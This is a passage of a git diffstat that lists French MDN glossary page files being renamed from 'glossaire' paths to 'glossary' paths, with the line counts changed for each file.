.../glossaire/lignes_de_grille_(lines)/index.html | 179 -- .../fr/glossaire/lignes_de_grille_(row)/index.html | 31 - files/fr/glossaire/locale/index.html | 16 - files/fr/glossaire/loop/index.html | 20 - files/fr/glossaire/ltr/index.html | 10 - .../fr/glossaire/machine_d_\303\251tat/index.html" | 47 - files/fr/glossaire/mathml/index.html | 26 - files/fr/glossaire/media/css/index.html | 32 - files/fr/glossaire/media/index.html | 17 - files/fr/glossaire/microsoft_edge/index.html | 16 - .../microsoft_internet_explorer/index.html | 47 - files/fr/glossaire/mime/index.html | 21 - files/fr/glossaire/minification/index.html | 12 - files/fr/glossaire/mitm/index.html | 30 - files/fr/glossaire/mixin/index.html | 23 - files/fr/glossaire/mobile_d_abord/index.html | 10 - files/fr/glossaire/modem/index.html | 20 - "files/fr/glossaire/modularit\303\251/index.html" | 15 - .../fr/glossaire/moment_de_compilation/index.html | 19 - files/fr/glossaire/moteur_de_recherche/index.html | 33 - files/fr/glossaire/moteur_de_rendu/index.html | 26 - files/fr/glossaire/mozilla_firefox/index.html | 29 - files/fr/glossaire/muable/index.html | 47 - files/fr/glossaire/mvc/index.html | 32 - .../glossaire/m\303\251tadonn\303\251e/index.html" | 25 - "files/fr/glossaire/m\303\251thode/index.html" | 29 - files/fr/glossaire/namespace/index.html | 18 - files/fr/glossaire/nan/index.html | 27 - files/fr/glossaire/nat/index.html | 21 - files/fr/glossaire/native/index.html | 21 - files/fr/glossaire/navigateur/index.html | 27 - files/fr/glossaire/netscape_navigator/index.html | 24 - files/fr/glossaire/nntp/index.html | 23 - files/fr/glossaire/node.js/index.html | 28 - files/fr/glossaire/nom_de_domaine/index.html | 20 - .../noms_r\303\251serv\303\251s/index.html" | 16 - files/fr/glossaire/non-normative/index.html | 17 - files/fr/glossaire/normative/index.html | 17 - files/fr/glossaire/null/index.html | 26 - files/fr/glossaire/number/index.html | 27 - files/fr/glossaire/objet/index.html | 21 - files/fr/glossaire/objet_global/index.html | 18 - files/fr/glossaire/objet_parent/index.html | 15 - files/fr/glossaire/opengl/index.html | 18 - files/fr/glossaire/openssl/index.html | 18 - files/fr/glossaire/opera_browser/index.html | 21 - files/fr/glossaire/operand/index.html | 15 - files/fr/glossaire/operator/index.html | 23 - files/fr/glossaire/ordre_canonique/index.html | 33 - files/fr/glossaire/origine/index.html | 58 - files/fr/glossaire/ota/index.html | 19 - files/fr/glossaire/owasp/index.html | 17 - files/fr/glossaire/p2p/index.html | 14 - files/fr/glossaire/pac/index.html | 31 - files/fr/glossaire/paquet/index.html | 49 - files/fr/glossaire/parameter/index.html | 41 - files/fr/glossaire/pare-feu/index.html | 21 - files/fr/glossaire/parse/index.html | 19 - files/fr/glossaire/parser/index.html | 19 - files/fr/glossaire/pdf/index.html | 14 - files/fr/glossaire/percent-encoding/index.html | 77 - files/fr/glossaire/php/index.html | 21 - .../glossaire/pile_d_ex\303\251cution/index.html" | 25 - files/fr/glossaire/pistes_de_grille/index.html | 78 - files/fr/glossaire/pixel/index.html | 19 - files/fr/glossaire/pixel_css/index.html | 34 - files/fr/glossaire/png/index.html | 20 - files/fr/glossaire/polyfill/index.html | 16 - files/fr/glossaire/polymorphisme/index.html | 21 - files/fr/glossaire/poo/index.html | 21 - files/fr/glossaire/pop/index.html | 22 - files/fr/glossaire/port/index.html | 22 - "files/fr/glossaire/port\303\251e/index.html" | 19 - .../fr/glossaire/port\303\251e_globale/index.html" | 22 - .../fr/glossaire/port\303\251e_locale/index.html" | 17 - files/fr/glossaire/preprocesseur_css/index.html | 24 - files/fr/glossaire/presto/index.html | 17 - files/fr/glossaire/primitive/index.html | 36 - files/fr/glossaire/privileged_code/index.html | 11 - .../glossaire/privil\303\251gi\303\251/index.html" | 23 - .../index.html" | 19 - files/fr/glossaire/progressive_web_apps/index.html | 18 - files/fr/glossaire/promesse/index.html | 30 - files/fr/glossaire/propriete_css/index.html | 40 - files/fr/glossaire/protocol/index.html | 21 - files/fr/glossaire/prototype/index.html | 21 - .../glossaire/pr\303\251fixe_vendeur/index.html" | 62 - files/fr/glossaire/pseudo-classe/index.html | 19 - files/fr/glossaire/pseudo-code/index.html | 18 - .../pseudo-\303\251l\303\251ment/index.html" | 18 - files/fr/glossaire/python/index.html | 22 - files/fr/glossaire/quality_values/index.html | 80 - files/fr/glossaire/quic/index.html | 39 - files/fr/glossaire/rail/index.html | 28 - files/fr/glossaire/ramasse-miettes/index.html | 25 - files/fr/glossaire/rdf/index.html | 21 - files/fr/glossaire/real_user_monitoring/index.html | 19 - .../rectangle_limitation_minimum/index.html | 11 - files/fr/glossaire/reflow/index.html | 15 - files/fr/glossaire/regular_expression/index.html | 28 - .../glossaire/requete_pre-verification/index.html | 39 - .../fr/glossaire/responsive_web_design/index.html | 18 - files/fr/glossaire/rest/index.html | 31 - files/fr/glossaire/rgb/index.html | 27 - files/fr/glossaire/ril/index.html | 27 - files/fr/glossaire/rng/index.html | 20 - files/fr/glossaire/robot_d_indexation/index.html | 17 - files/fr/glossaire/robots.txt/index.html | 19 - files/fr/glossaire/rss/index.html | 26 - files/fr/glossaire/rtf/index.html | 28 - files/fr/glossaire/rtl/index.html | 6 - files/fr/glossaire/rtp/index.html | 25 - files/fr/glossaire/ruby/index.html | 25 - "files/fr/glossaire/r\303\251cursion/index.html" | 18 - .../glossaire/r\303\251f\303\251rence/index.html" | 19 - .../r\303\251f\303\251rence_d_objet/index.html" | 19 - files/fr/glossaire/same-origin_policy/index.html | 21 - files/fr/glossaire/scm/index.html | 20 - files/fr/glossaire/sctp/index.html | 19 - files/fr/glossaire/sdp/index.html | 38 - files/fr/glossaire/seo/index.html | 40 - files/fr/glossaire/serveur/index.html | 25 - files/fr/glossaire/serveur_proxy/index.html | 24 - files/fr/glossaire/serveur_web/index.html | 16 - files/fr/glossaire/shim/index.html | 17 - files/fr/glossaire/signature/fonction/index.html | 57 - files/fr/glossaire/signature/index.html | 17 - .../signature/s\303\251curit\303\251/index.html" | 37 - files/fr/glossaire/simd/index.html | 21 - files/fr/glossaire/sisd/index.html | 19 - files/fr/glossaire/site/index.html | 62 - files/fr/glossaire/site_map/index.html | 11 - files/fr/glossaire/sld/index.html | 21 - files/fr/glossaire/sloppy_mode/index.html | 19 - files/fr/glossaire/slug/index.html | 17 - files/fr/glossaire/smtp/index.html | 22 - files/fr/glossaire/soap/index.html | 26 - files/fr/glossaire/specification/index.html | 23 - files/fr/glossaire/sql/index.html | 26 - files/fr/glossaire/sri/index.html | 18 - files/fr/glossaire/ssl_glossary/index.html | 22 - files/fr/glossaire/statement/index.html | 27 - files/fr/glossaire/string/index.html | 22 - .../structure_de_contr\303\264le/index.html" | 47 - .../structure_de_donn\303\251es/index.html" | 16 - files/fr/glossaire/stun/index.html | 27 - files/fr/glossaire/suite_de_chiffrement/index.html | 25 - files/fr/glossaire/svg/index.html | 39 - files/fr/glossaire/svn/index.html | 25 - files/fr/glossaire/symbole/index.html | 55 - files/fr/glossaire/synchronous/index.html | 23 - files/fr/glossaire/syntax_error/index.html | 18 - files/fr/glossaire/syntaxe/index.html | 24 - .../glossaire/s\303\251curis\303\251e/index.html" | 44 - .../fr/glossaire/s\303\251lecteur_css/index.html" | 85 - "files/fr/glossaire/s\303\251mantique/index.html" | 54 - .../fr/glossaire/s\303\251rialisation/index.html" | 24 - files/fr/glossaire/tampon/index.html | 17 - files/fr/glossaire/tcp/index.html | 14 - files/fr/glossaire/tcp_handshake/index.html | 20 - files/fr/glossaire/tcp_slow_start/index.html | 23 - files/fr/glossaire/telnet/index.html | 15 - .../fr/glossaire/test_de_fum\303\251e/index.html" | 27 - files/fr/glossaire/texel/index.html | 33 - files/fr/glossaire/texte_brut/index.html | 12 - files/fr/glossaire/three_js/index.html | 21 - files/fr/glossaire/time_to_interactive/index.html | 25 - files/fr/glossaire/tld/index.html | 41 - files/fr/glossaire/tls/index.html | 29 - files/fr/glossaire/tofu/index.html | 22 - .../transmission_control_protocol_(tcp)/index.html | 28 - files/fr/glossaire/tree_shaking/index.html | 28 - files/fr/glossaire/tri_par_cartes/index.html | 17 - files/fr/glossaire/trident/index.html | 17 - files/fr/glossaire/truthy/index.html | 36 - files/fr/glossaire/ttl/index.html | 41 - files/fr/glossaire/turn/index.html | 29 - files/fr/glossaire/typage_dynamique/index.html | 25 - files/fr/glossaire/typage_statique/index.html | 18 - files/fr/glossaire/type/index.html | 22 - files/fr/glossaire/type_coercion/index.html | 41 - files/fr/glossaire/type_mime/index.html | 27 - files/fr/glossaire/udp/index.html | 27 - files/fr/glossaire/ui/index.html | 17 - files/fr/glossaire/undefined/index.html | 23 - files/fr/glossaire/unicode/index.html | 20 - files/fr/glossaire/uri/index.html | 21 - files/fr/glossaire/url/index.html | 33 - files/fr/glossaire/urn/index.html | 19 - files/fr/glossaire/usenet/index.html | 19 - files/fr/glossaire/user_agent/index.html | 33 - files/fr/glossaire/utf-8/index.html | 23 - files/fr/glossaire/ux/index.html | 23 - files/fr/glossaire/valeur/index.html | 17 - files/fr/glossaire/validator/index.html | 17 - files/fr/glossaire/variable/index.html | 27 - files/fr/glossaire/variable_globale/index.html | 19 - files/fr/glossaire/variable_locale/index.html | 17 - files/fr/glossaire/viewport/index.html | 13 - files/fr/glossaire/voip/index.html | 20 - files/fr/glossaire/w3c/index.html | 19 - files/fr/glossaire/wai/index.html | 18 - files/fr/glossaire/wcag/index.html | 36 - files/fr/glossaire/web_standards/index.html | 32 - files/fr/glossaire/webdav/index.html | 40 - files/fr/glossaire/webextensions/index.html | 17 - files/fr/glossaire/webgl/index.html | 34 - files/fr/glossaire/webidl/index.html | 23 - files/fr/glossaire/webkit/index.html | 31 - files/fr/glossaire/webm/index.html | 19 - files/fr/glossaire/webp/index.html | 20 - files/fr/glossaire/webrtc/index.html | 35 - files/fr/glossaire/websockets/index.html | 37 - files/fr/glossaire/webvtt/index.html | 25 - files/fr/glossaire/whatwg/index.html | 30 - files/fr/glossaire/whitespace/index.html | 46 - files/fr/glossaire/world_wide_web/index.html | 41 - files/fr/glossaire/wrapper/index.html | 15 - files/fr/glossaire/xform/index.html | 19 - files/fr/glossaire/xhr_(xmlhttprequest)/index.html | 24 - files/fr/glossaire/xinclude/index.html | 159 - files/fr/glossaire/xlink/index.html | 30 - files/fr/glossaire/xml/index.html | 20 - files/fr/glossaire/xpath/index.html | 27 - files/fr/glossaire/xquery/index.html | 26 - files/fr/glossaire/xslt/index.html | 22 - files/fr/glossaire/zones_de_grille/index.html | 82 - .../fr/glossaire/\303\251l\303\251ment/index.html" | 20 - .../index.html" | 17 - .../glossaire/\303\251v\303\250nement/index.html" | 26 - files/fr/glossary/404/index.html | 19 + files/fr/glossary/502/index.html | 17 + files/fr/glossary/abstraction/index.html | 21 + files/fr/glossary/accessibility/index.html | 26 + files/fr/glossary/adobe_flash/index.html | 20 + files/fr/glossary/ajax/index.html | 35 + files/fr/glossary/algorithm/index.html | 8 + files/fr/glossary/alignment_container/index.html | 19 + files/fr/glossary/alignment_subject/index.html | 28 + files/fr/glossary/alpn/index.html | 61 + files/fr/glossary/api/index.html | 36 + files/fr/glossary/apple_safari/index.html | 26 + files/fr/glossary/application_context/index.html | 13 + files/fr/glossary/argument/index.html | 24 + files/fr/glossary/aria/index.html | 17 + files/fr/glossary/arpa/index.html | 18 + files/fr/glossary/arpanet/index.html | 17 + files/fr/glossary/array/index.html | 38 + files/fr/glossary/ascii/index.html | 15 + files/fr/glossary/asynchronous/index.html | 23 + files/fr/glossary/atag/index.html | 27 + files/fr/glossary/attribute/index.html | 34 + files/fr/glossary/bandwidth/index.html | 15 + files/fr/glossary/base64/index.html | 343 +++ files/fr/glossary/baseline/index.html | 30 + files/fr/glossary/beacon/index.html | 14 + files/fr/glossary/bidi/index.html | 25 + files/fr/glossary/bigint/index.html | 29 + files/fr/glossary/blink/index.html | 19 + files/fr/glossary/block/block_(css)/index.html | 22 - files/fr/glossary/block/css/index.html | 22 + .../block_cipher_mode_of_operation/index.html | 13 + files/fr/glossary/boolean/index.html | 48 + files/fr/glossary/boot2gecko/index.html | 18 + files/fr/glossary/bootstrap/index.html | 22 + files/fr/glossary/bounding_box/index.html | 11 + files/fr/glossary/breadcrumb/index.html | 21 + files/fr/glossary/brotli_compression/index.html | 31 + files/fr/glossary/browser/index.html | 27 + files/fr/glossary/browsing_context/index.html | 21 + files/fr/glossary/buffer/index.html | 17 + "files/fr/glossary/b\303\251zier_curve/index.html" | 33 + files/fr/glossary/cache/index.html | 17 + files/fr/glossary/cacheable/index.html | 60 + files/fr/glossary/caldav/index.html | 25 + files/fr/glossary/call_stack/index.html | 25 + files/fr/glossary/callback_function/index.html | 41 + files/fr/glossary/canonical_order/index.html | 33 + files/fr/glossary/canvas/index.html | 35 + files/fr/glossary/card_sorting/index.html | 17 + files/fr/glossary/carddav/index.html | 24 + files/fr/glossary/caret/index.html | 39 + files/fr/glossary/cdn/index.html | 17 + files/fr/glossary/certificate_authority/index.html | 18 + files/fr/glossary/certified/index.html | 30 + files/fr/glossary/challenge/index.html | 18 + files/fr/glossary/character/index.html | 23 + files/fr/glossary/character_encoding/index.html | 28 + files/fr/glossary/chrome/index.html | 19 + files/fr/glossary/cia/index.html | 17 + files/fr/glossary/cipher/index.html | 33 + files/fr/glossary/cipher_suite/index.html | 25 + files/fr/glossary/ciphertext/index.html | 20 + files/fr/glossary/class/index.html | 20 + files/fr/glossary/closure/index.html | 23 + files/fr/glossary/cms/index.html | 18 + files/fr/glossary/codec/index.html | 23 + files/fr/glossary/compile/index.html | 24 + files/fr/glossary/compile_time/index.html | 19 + files/fr/glossary/computer_programming/index.html | 21 + files/fr/glossary/conditional/index.html | 32 + files/fr/glossary/constant/index.html | 20 + files/fr/glossary/constructor/index.html | 48 + files/fr/glossary/control_flow/index.html | 47 + files/fr/glossary/cookie/index.html | 21 + files/fr/glossary/copyleft/index.html | 19 + files/fr/glossary/cors/index.html | 52 + files/fr/glossary/crawler/index.html | 17 + files/fr/glossary/crlf/index.html | 29 + files/fr/glossary/cross-site_scripting/index.html | 39 + files/fr/glossary/cross_axis/index.html | 41 + files/fr/glossary/crud/index.html | 17 + files/fr/glossary/cryptanalysis/index.html | 19 + .../cryptographic_hash_function/index.html | 27 + files/fr/glossary/cryptography/index.html | 21 + files/fr/glossary/csp/index.html | 27 + files/fr/glossary/csrf/index.html | 19 + files/fr/glossary/css/index.html | 51 + files/fr/glossary/css_pixel/index.html | 34 + files/fr/glossary/css_preprocessor/index.html | 24 + files/fr/glossary/css_selector/index.html | 85 + files/fr/glossary/data_structure/index.html | 16 + files/fr/glossary/decryption/index.html | 25 + files/fr/glossary/delta/index.html | 31 + files/fr/glossary/denial_of_service/index.html | 12 + files/fr/glossary/descriptor_(css)/index.html | 24 + files/fr/glossary/deserialization/index.html | 20 + files/fr/glossary/developer_tools/index.html | 31 + files/fr/glossary/dhtml/index.html | 22 + files/fr/glossary/digest/index.html | 30 + files/fr/glossary/digital_certificate/index.html | 16 + .../distributed_denial_of_service/index.html | 40 + files/fr/glossary/dmz/index.html | 26 + files/fr/glossary/dns/index.html | 20 + files/fr/glossary/doctype/index.html | 26 + files/fr/glossary/document_directive/index.html | 36 + files/fr/glossary/document_environment/index.html | 19 + files/fr/glossary/dom/index.html | 29 + files/fr/glossary/domain/index.html | 17 + files/fr/glossary/domain_name/index.html | 20 + files/fr/glossary/dominator/index.html | 27 + files/fr/glossary/dos_attack/index.html | 33 + files/fr/glossary/dtmf/index.html | 20 + .../dynamic_programming_language/index.html | 21 + files/fr/glossary/dynamic_typing/index.html | 25 + files/fr/glossary/ecma/index.html | 19 + files/fr/glossary/ecmascript/index.html | 23 + files/fr/glossary/element/index.html | 20 + files/fr/glossary/empty_element/index.html | 34 + files/fr/glossary/encapsulation/index.html | 17 + files/fr/glossary/encryption/index.html | 23 + files/fr/glossary/endianness/index.html | 31 + files/fr/glossary/engine/index.html | 17 + files/fr/glossary/entity/index.html | 59 + files/fr/glossary/entity_header/index.html | 26 + files/fr/glossary/event/index.html | 26 + files/fr/glossary/exception/index.html | 19 + files/fr/glossary/expando/index.html | 16 + files/fr/glossary/falsy/index.html | 38 + files/fr/glossary/favicon/index.html | 27 + files/fr/glossary/fetch_directive/index.html | 44 + files/fr/glossary/firefox_os/index.html | 27 + files/fr/glossary/firewall/index.html | 21 + files/fr/glossary/first-class_function/index.html | 19 + .../fr/glossary/first_contentful_paint/index.html | 20 + .../fr/glossary/first_meaningful_paint/index.html | 16 + files/fr/glossary/flex/index.html | 48 + files/fr/glossary/flex_container/index.html | 36 + files/fr/glossary/flex_item/index.html | 34 + files/fr/glossary/flexbox/index.html | 48 + files/fr/glossary/forbidden_header_name/index.html | 45 + .../forbidden_response_header_name/index.html | 31 + files/fr/glossary/fork/index.html | 30 + files/fr/glossary/ftp/index.html | 22 + files/fr/glossary/ftu/index.html | 15 + files/fr/glossary/function/index.html | 88 + files/fr/glossary/gaia/index.html | 24 + files/fr/glossary/garbage_collection/index.html | 25 + files/fr/glossary/gecko/index.html | 34 + files/fr/glossary/general_header/index.html | 12 + files/fr/glossary/gif/index.html | 23 + files/fr/glossary/gij/index.html | 12 + files/fr/glossary/git/index.html | 19 + files/fr/glossary/global_object/index.html | 18 + files/fr/glossary/global_scope/index.html | 22 + files/fr/glossary/global_variable/index.html | 19 + files/fr/glossary/glyph/index.html | 21 + files/fr/glossary/gonk/index.html | 21 + files/fr/glossary/google_chrome/index.html | 41 + files/fr/glossary/gpl/index.html | 21 + files/fr/glossary/gpu/index.html | 9 + files/fr/glossary/graceful_degradation/index.html | 21 + files/fr/glossary/grid/index.html | 75 + files/fr/glossary/grid_areas/index.html | 82 + files/fr/glossary/grid_axis/index.html | 32 + files/fr/glossary/grid_cell/index.html | 73 + files/fr/glossary/grid_column/index.html | 31 + files/fr/glossary/grid_container/index.html | 37 + files/fr/glossary/grid_lines/index.html | 179 ++ files/fr/glossary/grid_rows/index.html | 31 + files/fr/glossary/grid_tracks/index.html | 78 + files/fr/glossary/guard/index.html | 10 + files/fr/glossary/gutters/index.html | 74 + files/fr/glossary/gzip_compression/index.html | 17 + files/fr/glossary/hash/index.html | 19 + files/fr/glossary/head/index.html | 21 + .../high-level_programming_language/index.html | 12 + files/fr/glossary/hmac/index.html | 28 + files/fr/glossary/hoisting/index.html | 71 + files/fr/glossary/host/index.html | 19 + files/fr/glossary/hotlink/index.html | 17 + files/fr/glossary/houdini/index.html | 24 + files/fr/glossary/hpkp/index.html | 20 + files/fr/glossary/hsts/index.html | 22 + files/fr/glossary/html/index.html | 51 + files/fr/glossary/html5/index.html | 17 + files/fr/glossary/http/index.html | 24 + files/fr/glossary/http_2/index.html | 32 + files/fr/glossary/http_3/index.html | 28 + files/fr/glossary/http_header/index.html | 62 + files/fr/glossary/https/index.html | 19 + files/fr/glossary/hyperlink/index.html | 33 + files/fr/glossary/hypertext/index.html | 26 + files/fr/glossary/i18n/index.html | 48 + files/fr/glossary/iana/index.html | 18 + files/fr/glossary/icann/index.html | 18 + files/fr/glossary/ice/index.html | 37 + files/fr/glossary/ide/index.html | 17 + files/fr/glossary/idempotent/index.html | 50 + files/fr/glossary/identifier/index.html | 20 + files/fr/glossary/idl/index.html | 25 + files/fr/glossary/ietf/index.html | 19 + files/fr/glossary/iife/index.html | 47 + files/fr/glossary/imap/index.html | 22 + files/fr/glossary/immutable/index.html | 24 + files/fr/glossary/index.html | 24 + files/fr/glossary/index/index.html | 10 + files/fr/glossary/indexeddb/index.html | 18 + .../glossary/information_architecture/index.html | 19 + files/fr/glossary/inheritance/index.html | 24 + files/fr/glossary/input_method_editor/index.html | 29 + files/fr/glossary/instance/index.html | 20 + .../index.html | 28 + files/fr/glossary/internet/index.html | 23 + files/fr/glossary/ip_address/index.html | 21 + files/fr/glossary/ipv4/index.html | 19 + files/fr/glossary/ipv6/index.html | 17 + files/fr/glossary/irc/index.html | 21 + files/fr/glossary/iso/index.html | 20 + files/fr/glossary/isp/index.html | 21 + files/fr/glossary/itu/index.html | 27 + files/fr/glossary/jank/index.html | 11 + files/fr/glossary/java/index.html | 19 + files/fr/glossary/javascript/index.html | 46 + files/fr/glossary/jpeg/index.html | 19 + files/fr/glossary/jquery/index.html | 65 + files/fr/glossary/json/index.html | 29 + files/fr/glossary/key/index.html | 18 + files/fr/glossary/keyword/index.html | 21 + files/fr/glossary/latency/index.html | 22 + files/fr/glossary/lazy_load/index.html | 17 + files/fr/glossary/lgpl/index.html | 21 + files/fr/glossary/ligature/index.html | 20 + files/fr/glossary/local_scope/index.html | 17 + files/fr/glossary/local_variable/index.html | 17 + files/fr/glossary/locale/index.html | 16 + files/fr/glossary/localization/index.html | 44 + files/fr/glossary/loop/index.html | 20 + files/fr/glossary/lossless_compression/index.html | 26 + files/fr/glossary/lossy_compression/index.html | 28 + files/fr/glossary/ltr/index.html | 10 + files/fr/glossary/main_axis/index.html | 51 + files/fr/glossary/mathml/index.html | 26 + files/fr/glossary/media/css/index.html | 32 + files/fr/glossary/media/index.html | 17 + files/fr/glossary/metadata/index.html | 25 + files/fr/glossary/method/index.html | 29 + files/fr/glossary/microsoft_edge/index.html | 16 + .../microsoft_internet_explorer/index.html | 47 + files/fr/glossary/middleware/index.html | 19 + files/fr/glossary/mime/index.html | 21 + files/fr/glossary/mime_type/index.html | 27 + files/fr/glossary/minification/index.html | 12 + files/fr/glossary/mitm/index.html | 30 + files/fr/glossary/mixin/index.html | 23 + files/fr/glossary/mobile_first/index.html | 10 + files/fr/glossary/modem/index.html | 20 + files/fr/glossary/modern_web_apps/index.html | 9 + files/fr/glossary/modularity/index.html | 15 + files/fr/glossary/mozilla_firefox/index.html | 29 + files/fr/glossary/mutable/index.html | 47 + files/fr/glossary/mvc/index.html | 32 + files/fr/glossary/namespace/index.html | 18 + files/fr/glossary/nan/index.html | 27 + files/fr/glossary/nat/index.html | 21 + files/fr/glossary/native/index.html | 21 + files/fr/glossary/navigation_directive/index.html | 35 + files/fr/glossary/netscape_navigator/index.html | 24 + files/fr/glossary/nntp/index.html | 23 + files/fr/glossary/node.js/index.html | 28 + files/fr/glossary/node/networking/index.html | 17 + "files/fr/glossary/node/r\303\251seau/index.html" | 17 - files/fr/glossary/non-normative/index.html | 17 + files/fr/glossary/normative/index.html | 17 + files/fr/glossary/null/index.html | 26 + files/fr/glossary/number/index.html | 27 + files/fr/glossary/object/index.html | 21 + files/fr/glossary/object_reference/index.html | 19 + files/fr/glossary/oop/index.html | 21 + files/fr/glossary/opengl/index.html | 18 + files/fr/glossary/openssl/index.html | 18 + files/fr/glossary/opera_browser/index.html | 21 + files/fr/glossary/operand/index.html | 15 + files/fr/glossary/operator/index.html | 23 + files/fr/glossary/origin/index.html | 58 + files/fr/glossary/ota/index.html | 19 + files/fr/glossary/owasp/index.html | 17 + files/fr/glossary/p2p/index.html | 14 + files/fr/glossary/pac/index.html | 31 + files/fr/glossary/packet/index.html | 49 + files/fr/glossary/parameter/index.html | 41 + files/fr/glossary/parent_object/index.html | 15 + files/fr/glossary/parse/index.html | 19 + files/fr/glossary/parser/index.html | 19 + files/fr/glossary/pdf/index.html | 14 + files/fr/glossary/percent-encoding/index.html | 77 + files/fr/glossary/php/index.html | 21 + files/fr/glossary/pixel/index.html | 19 + files/fr/glossary/placeholder_names/index.html | 16 + files/fr/glossary/plaintext/index.html | 12 + files/fr/glossary/png/index.html | 20 + files/fr/glossary/polyfill/index.html | 16 + files/fr/glossary/polymorphism/index.html | 21 + files/fr/glossary/pop/index.html | 22 + files/fr/glossary/port/index.html | 22 + files/fr/glossary/preflight_request/index.html | 39 + files/fr/glossary/presto/index.html | 17 + files/fr/glossary/primitive/index.html | 36 + files/fr/glossary/privileged/index.html | 23 + files/fr/glossary/privileged_code/index.html | 11 + .../fr/glossary/progressive_enhancement/index.html | 24 + files/fr/glossary/progressive_web_apps/index.html | 18 + files/fr/glossary/promise/index.html | 30 + files/fr/glossary/property/css/index.html | 40 + files/fr/glossary/protocol/index.html | 21 + .../prototype-based_programming/index.html | 19 + files/fr/glossary/prototype/index.html | 21 + files/fr/glossary/proxy_server/index.html | 24 + files/fr/glossary/pseudo-class/index.html | 19 + files/fr/glossary/pseudo-element/index.html | 18 + files/fr/glossary/pseudocode/index.html | 18 + files/fr/glossary/python/index.html | 22 + files/fr/glossary/quality_values/index.html | 80 + files/fr/glossary/quic/index.html | 39 + files/fr/glossary/rail/index.html | 28 + files/fr/glossary/raster_image/index.html | 18 + files/fr/glossary/rdf/index.html | 21 + files/fr/glossary/real_user_monitoring/index.html | 19 + files/fr/glossary/recursion/index.html | 18 + files/fr/glossary/reference/index.html | 19 + files/fr/glossary/reflow/index.html | 15 + files/fr/glossary/regular_expression/index.html | 28 + files/fr/glossary/rendering_engine/index.html | 26 + files/fr/glossary/repo/index.html | 19 + files/fr/glossary/reporting_directive/index.html | 32 + files/fr/glossary/request_header/index.html | 46 + files/fr/glossary/response_header/index.html | 41 + files/fr/glossary/responsive_web_design/index.html | 18 + files/fr/glossary/rest/index.html | 31 + files/fr/glossary/rgb/index.html | 27 + files/fr/glossary/ril/index.html | 27 + files/fr/glossary/rng/index.html | 20 + files/fr/glossary/robots.txt/index.html | 19 + files/fr/glossary/rss/index.html | 26 + files/fr/glossary/rtf/index.html | 28 + files/fr/glossary/rtl/index.html | 6 + files/fr/glossary/rtp/index.html | 25 + files/fr/glossary/ruby/index.html | 25 + files/fr/glossary/safe/index.html | 44 + files/fr/glossary/same-origin_policy/index.html | 21 + files/fr/glossary/scm/index.html | 20 + files/fr/glossary/scope/index.html | 19 + .../glossary/script-supporting_element/index.html | 17 + files/fr/glossary/sctp/index.html | 19 + files/fr/glossary/sdp/index.html | 38 + files/fr/glossary/search_engine/index.html | 33 + files/fr/glossary/second-level_domain/index.html | 9 + .../self-executing_anonymous_function/index.html | 10 + files/fr/glossary/semantics/index.html | 54 + files/fr/glossary/seo/index.html | 40 + files/fr/glossary/serialization/index.html | 24 + files/fr/glossary/server/index.html | 25 + files/fr/glossary/session_hijacking/index.html | 54 + files/fr/glossary/sgml/index.html | 19 + files/fr/glossary/shim/index.html | 17 + files/fr/glossary/signature/function/index.html | 57 + files/fr/glossary/signature/index.html | 17 + files/fr/glossary/signature/security/index.html | 37 + files/fr/glossary/simd/index.html | 21 + files/fr/glossary/simple_header/index.html | 39 + .../fr/glossary/simple_response_header/index.html | 39 + files/fr/glossary/sisd/index.html | 19 + files/fr/glossary/site/index.html | 62 + files/fr/glossary/site_map/index.html | 11 + files/fr/glossary/sld/index.html | 21 + files/fr/glossary/sloppy_mode/index.html | 19 + files/fr/glossary/slug/index.html | 17 + files/fr/glossary/smoke_test/index.html | 27 + files/fr/glossary/smtp/index.html | 22 + files/fr/glossary/soap/index.html | 26 + files/fr/glossary/specification/index.html | 23 + files/fr/glossary/speculative_parsing/index.html | 36 + files/fr/glossary/sql/index.html | 26 + files/fr/glossary/sql_injection/index.html | 73 + files/fr/glossary/sri/index.html | 18 + files/fr/glossary/ssl/index.html | 22 + files/fr/glossary/stacking_context/index.html | 18 + files/fr/glossary/state_machine/index.html | 47 + files/fr/glossary/statement/index.html | 27 + files/fr/glossary/static_typing/index.html | 18 + files/fr/glossary/string/index.html | 22 + files/fr/glossary/stun/index.html | 27 + files/fr/glossary/svg/index.html | 39 + files/fr/glossary/svn/index.html | 25 + files/fr/glossary/symbol/index.html | 55 + files/fr/glossary/synchronous/index.html | 23 + files/fr/glossary/syntax/index.html | 24 + files/fr/glossary/syntax_error/index.html | 18 + files/fr/glossary/tag/index.html | 25 + files/fr/glossary/tcp/index.html | 14 + files/fr/glossary/tcp_handshake/index.html | 20 + files/fr/glossary/tcp_slow_start/index.html | 23 + files/fr/glossary/telnet/index.html | 15 + files/fr/glossary/texel/index.html | 33 + files/fr/glossary/three_js/index.html | 21 + files/fr/glossary/time_to_interactive/index.html | 25 + files/fr/glossary/tld/index.html | 41 + files/fr/glossary/tls/index.html | 29 + files/fr/glossary/tofu/index.html | 22 + .../transmission_control_protocol_(tcp)/index.html | 28 + files/fr/glossary/tree_shaking/index.html | 28 + files/fr/glossary/trident/index.html | 17 + files/fr/glossary/truthy/index.html | 36 + files/fr/glossary/ttl/index.html | 41 + files/fr/glossary/turn/index.html | 29 + files/fr/glossary/type/index.html | 22 + files/fr/glossary/type_coercion/index.html | 41 + files/fr/glossary/type_conversion/index.html | 19 + files/fr/glossary/udp/index.html | 27 + files/fr/glossary/ui/index.html | 17 + files/fr/glossary/undefined/index.html | 23 + files/fr/glossary/unicode/index.html | 20 + files/fr/glossary/uri/index.html | 21 + files/fr/glossary/url/index.html | 33 + files/fr/glossary/urn/index.html | 19 + files/fr/glossary/usenet/index.html | 19 + files/fr/glossary/user_agent/index.html | 33 + files/fr/glossary/utf-8/index.html | 23 + files/fr/glossary/ux/index.html | 23 + files/fr/glossary/validator/index.html | 17 + files/fr/glossary/value/index.html | 17 + files/fr/glossary/variable/index.html | 27 + files/fr/glossary/vendor_prefix/index.html | 62 + files/fr/glossary/viewport/index.html | 13 + files/fr/glossary/voip/index.html | 20 + files/fr/glossary/w3c/index.html | 19 + files/fr/glossary/wai/index.html | 18 + files/fr/glossary/wcag/index.html | 36 + files/fr/glossary/web_server/index.html | 16 + files/fr/glossary/web_standards/index.html | 32 + files/fr/glossary/webdav/index.html | 40 + files/fr/glossary/webextensions/index.html | 17 + files/fr/glossary/webgl/index.html | 34 + files/fr/glossary/webidl/index.html | 23 + files/fr/glossary/webkit/index.html | 31 + files/fr/glossary/webm/index.html | 19 + files/fr/glossary/webp/index.html | 20 + files/fr/glossary/webrtc/index.html | 35 + files/fr/glossary/websockets/index.html | 37 + files/fr/glossary/webvtt/index.html | 25 + files/fr/glossary/whatwg/index.html | 30 + 